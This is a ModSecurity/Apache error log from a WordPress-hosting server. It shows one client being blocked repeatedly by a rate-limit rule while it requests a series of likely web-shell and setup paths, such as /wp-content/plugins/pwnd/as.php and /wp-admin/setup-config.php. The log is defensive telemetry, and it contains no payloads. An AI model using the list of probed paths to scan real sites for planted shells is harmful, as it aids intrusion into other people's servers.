[Fri Feb 27 08:16:58.447850 2026] [:error] [pid 54102:tid 54156] [client 51.12.82.80:26835] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaDieni74D4fiYUm_GfJwQAAAIw"]
[Fri Feb 27 08:16:59.006336 2026] [:error] [pid 54101:tid 54122] [client 51.12.82.80:11905] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/themes/about.php"] [unique_id "aaDie1Y5qgRktcYTGFuyLQAAAc4"]
[Fri Feb 27 08:16:59.541644 2026] [:error] [pid 54102:tid 54163] [client 51.12.82.80:34271] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aaDie3i74D4fiYUm_GfJywAAAJM"]
[Fri Feb 27 08:17:00.074168 2026] [:error] [pid 54101:tid 54120] [client 51.12.82.80:24122] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aaDifFY5qgRktcYTGFuyLgAAAcw"]
[Fri Feb 27 08:17:00.606959 2026] [:error] [pid 54231:tid 54244] [client 51.12.82.80:18902] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aaDifOTvb5AeyJCdY7ANmAAAAEo"]
[Fri Feb 27 08:17:01.147077 2026] [:error] [pid 54231:tid 54247] [client 51.12.82.80:24107] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/class-t.api.php"] [unique_id "aaDifeTvb5AeyJCdY7ANmwAAAE0"]
[Fri Feb 27 08:17:01.708893 2026] [:error] [pid 54231:tid 54235] [client 51.12.82.80:8676] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aaDifeTvb5AeyJCdY7ANoAAAAEE"]
[Fri Feb 27 08:17:02.252810 2026] [:error] [pid 54231:tid 54237] [client 51.12.82.80:34295] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aaDifuTvb5AeyJCdY7ANpQAAAEM"]
[Fri Feb 27 08:17:02.781530 2026] [:error] [pid 54231:tid 54254] [client 51.12.82.80:30806] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aaDifuTvb5AeyJCdY7ANqQAAAFQ"]
[Fri Feb 27 08:17:03.336716 2026] [:error] [pid 54231:tid 54247] [client 51.12.82.80:23077] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/gecko-litespeed.php"] [unique_id "aaDif-Tvb5AeyJCdY7ANrAAAAE0"]
[Fri Feb 27 08:17:03.886139 2026] [:error] [pid 54103:tid 54170] [client 51.12.82.80:13215] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaDif-vG4MPCmE0B2sDg9gAAAMA"]
[Fri Feb 27 08:17:04.419363 2026] [:error] [pid 54102:tid 54154] [client 51.12.82.80:23004] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaDigHi74D4fiYUm_GfJ5gAAAIo"]
[Fri Feb 27 08:17:04.956218 2026] [:error] [pid 54103:tid 54175] [client 51.12.82.80:30835] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaDigOvG4MPCmE0B2sDg-gAAAMQ"]
[Fri Feb 27 08:17:05.515745 2026] [:error] [pid 54101:tid 54117] [client 51.12.82.80:27768] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/maint/about.php"] [unique_id "aaDigVY5qgRktcYTGFuyMwAAAck"]
[Fri Feb 27 08:17:06.043510 2026] [:error] [pid 54231:tid 54249] [client 51.12.82.80:11913] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaDiguTvb5AeyJCdY7ANtgAAAE8"]
[Fri Feb 27 08:17:06.590790 2026] [:error] [pid 54103:tid 54177] [client 51.12.82.80:26871] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaDiguvG4MPCmE0B2sDhDAAAAMY"]
[Fri Feb 27 08:17:07.115244 2026] [:error] [pid 54103:tid 54190] [client 51.12.82.80:23059] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaDig-vG4MPCmE0B2sDhEwAAANM"]
[Fri Feb 27 08:17:07.639872 2026] [:error] [pid 54231:tid 54241] [client 51.12.82.80:30823] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/admin.php"] [unique_id "aaDig-Tvb5AeyJCdY7ANvQAAAEc"]
[Fri Feb 27 08:17:08.175005 2026] [:error] [pid 54231:tid 54253] [client 51.12.82.80:18270] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/setup-config.php"] [unique_id "aaDihOTvb5AeyJCdY7ANwgAAAFM"]
[Fri Feb 27 08:17:08.723845 2026] [:error] [pid 54231:tid 54249] [client 51.12.82.80:23064] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/setup-config.php"] [unique_id "aaDihOTvb5AeyJCdY7ANxwAAAE8"]
[Fri Feb 27 08:17:09.259890 2026] [:error] [pid 54102:tid 54163] [client 51.12.82.80:34272] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/setup-config.php"] [unique_id "aaDihXi74D4fiYUm_GfKBAAAAJM"]
[Fri Feb 27 08:17:09.785863 2026] [:error] [pid 54102:tid 54147] [client 51.12.82.80:18750] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/setup-config.php"] [unique_id "aaDihXi74D4fiYUm_GfKCwAAAIM"]
[Fri Feb 27 08:17:10.316575 2026] [:error] [pid 54231:tid 54244] [client 51.12.82.80:26840] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaDihuTvb5AeyJCdY7ANygAAAEo"]
[Fri Feb 27 08:17:10.857331 2026] [:error] [pid 54231:tid 54245] [client 51.12.82.80:26854] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaDihuTvb5AeyJCdY7ANzAAAAEs"]
[Fri Feb 27 08:17:11.420245 2026] [:error] [pid 54231:tid 54247] [client 51.12.82.80:10285] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaDih-Tvb5AeyJCdY7AN0AAAAE0"]
[Fri Feb 27 08:17:11.946145 2026] [:error] [pid 54102:tid 54149] [client 51.12.82.80:10246] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaDih3i74D4fiYUm_GfKGgAAAIU"]
[Fri Feb 27 08:17:12.470880 2026] [:error] [pid 54102:tid 54155] [client 51.12.82.80:33367] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaDiiHi74D4fiYUm_GfKHAAAAIs"]
[Fri Feb 27 08:17:12.994690 2026] [:error] [pid 54102:tid 54158] [client 51.12.82.80:18528] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaDiiHi74D4fiYUm_GfKHgAAAI4"]
[Fri Feb 27 08:17:13.552611 2026] [:error] [pid 54102:tid 54162] [client 51.12.82.80:23103] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaDiiXi74D4fiYUm_GfKIQAAAJI"]
[Fri Feb 27 08:17:14.080893 2026] [:error] [pid 54101:tid 54111] [client 51.12.82.80:16251] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/.well-known/admin.php"] [unique_id "aaDiilY5qgRktcYTGFuyPAAAAcM"]
[Fri Feb 27 08:17:14.612250 2026] [:error] [pid 54102:tid 54152] [client 51.12.82.80:18693] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aaDiini74D4fiYUm_GfKKAAAAIg"]
[Fri Feb 27 08:17:15.171065 2026] [:error] [pid 54231:tid 54251] [client 51.12.82.80:23068] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aaDii-Tvb5AeyJCdY7AN5AAAAFE"]
[Fri Feb 27 08:17:15.737370 2026] [:error] [pid 54231:tid 54242] [client 51.12.82.80:10280] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aaDii-Tvb5AeyJCdY7AN7QAAAEg"]
[Fri Feb 27 08:17:16.269818 2026] [:error] [pid 54231:tid 54243] [client 51.12.82.80:33406] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/init.php"] [unique_id "aaDijOTvb5AeyJCdY7AN9AAAAEk"]
[Fri Feb 27 08:17:16.804335 2026] [:error] [pid 54231:tid 54252] [client 51.12.82.80:18249] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aaDijOTvb5AeyJCdY7AN-QAAAFI"]
[Fri Feb 27 08:17:17.346607 2026] [:error] [pid 54102:tid 54168] [client 51.12.82.80:18713] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aaDijXi74D4fiYUm_GfKNwAAAJc"]
[Fri Feb 27 08:17:17.872644 2026] [:error] [pid 54101:tid 54128] [client 51.12.82.80:8693] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aaDijVY5qgRktcYTGFuyPwAAAdQ"]
[Fri Feb 27 08:17:18.396618 2026] [:error] [pid 54103:tid 54184] [client 51.12.82.80:2408] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aaDijuvG4MPCmE0B2sDhSwAAAM0"]
[Fri Feb 27 08:17:18.946294 2026] [:error] [pid 54103:tid 54183] [client 51.12.82.80:18513] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aaDijuvG4MPCmE0B2sDhTAAAAMw"]
[Fri Feb 27 08:17:19.473496 2026] [:error] [pid 54102:tid 54151] [client 51.12.82.80:23066] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aaDij3i74D4fiYUm_GfKPgAAAIc"]
[Fri Feb 27 08:17:20.017884 2026] [:error] [pid 54102:tid 54150] [client 51.12.82.80:22903] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aaDikHi74D4fiYUm_GfKQAAAAIY"]
[Fri Feb 27 08:17:20.544319 2026] [:error] [pid 54102:tid 54158] [client 51.12.82.80:18692] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/k.php"] [unique_id "aaDikHi74D4fiYUm_GfKRwAAAI4"]
[Fri Feb 27 08:17:21.070092 2026] [:error] [pid 54103:tid 54176] [client 51.12.82.80:17001] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aaDikevG4MPCmE0B2sDhUgAAAMU"]
[Fri Feb 27 08:17:21.629317 2026] [:error] [pid 54231:tid 54249] [client 51.12.82.80:16218] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aaDikeTvb5AeyJCdY7AOHgAAAE8"]
[Fri Feb 27 08:17:22.176543 2026] [:error] [pid 54231:tid 54251] [client 51.12.82.80:22879] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aaDikuTvb5AeyJCdY7AOIwAAAFE"]
[Fri Feb 27 08:17:22.728873 2026] [:error] [pid 54231:tid 54237] [client 51.12.82.80:4978] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bless.php"] [unique_id "aaDikuTvb5AeyJCdY7AOJgAAAEM"]
[Fri Feb 27 08:17:23.284854 2026] [:error] [pid 54103:tid 54183] [client 51.12.82.80:4939] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X7x.php"] [unique_id "aaDik-vG4MPCmE0B2sDhXgAAAMw"]
[Fri Feb 27 08:17:23.834201 2026] [:error] [pid 54101:tid 54117] [client 51.12.82.80:17016] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X7x.php"] [unique_id "aaDik1Y5qgRktcYTGFuyQgAAAck"]
[Fri Feb 27 08:17:24.369786 2026] [:error] [pid 54231:tid 54235] [client 51.12.82.80:10271] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X7x.php"] [unique_id "aaDilOTvb5AeyJCdY7AOKwAAAEE"]
[Fri Feb 27 08:17:24.917518 2026] [:error] [pid 54231:tid 54248] [client 51.12.82.80:21133] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/X7x.php"] [unique_id "aaDilOTvb5AeyJCdY7AOLgAAAE4"]
[Fri Feb 27 08:17:25.446671 2026] [:error] [pid 54231:tid 54249] [client 51.12.82.80:17002] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aaDileTvb5AeyJCdY7AOMQAAAE8"]
[Fri Feb 27 08:17:25.980129 2026] [:error] [pid 54231:tid 54255] [client 51.12.82.80:35716] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aaDileTvb5AeyJCdY7AOMwAAAFU"]
[Fri Feb 27 08:17:26.513941 2026] [:error] [pid 54102:tid 54144] [client 51.12.82.80:29099] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aaDilni74D4fiYUm_GfKVAAAAIA"]
[Fri Feb 27 08:17:27.055976 2026] [:error] [pid 54103:tid 54194] [client 51.12.82.80:29074] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/166.php"] [unique_id "aaDil-vG4MPCmE0B2sDhZgAAANc"]
[Fri Feb 27 08:17:27.586997 2026] [:error] [pid 54231:tid 54246] [client 51.12.82.80:18544] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plss3.php"] [unique_id "aaDil-Tvb5AeyJCdY7AOPwAAAEw"]
[Fri Feb 27 08:17:28.156787 2026] [:error] [pid 54103:tid 54182] [client 51.12.82.80:15217] [client 51.12.82.80] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/plss3.php"] [unique_id "aaDimOvG4MPCmE0B2sDhaAAAAMs"]
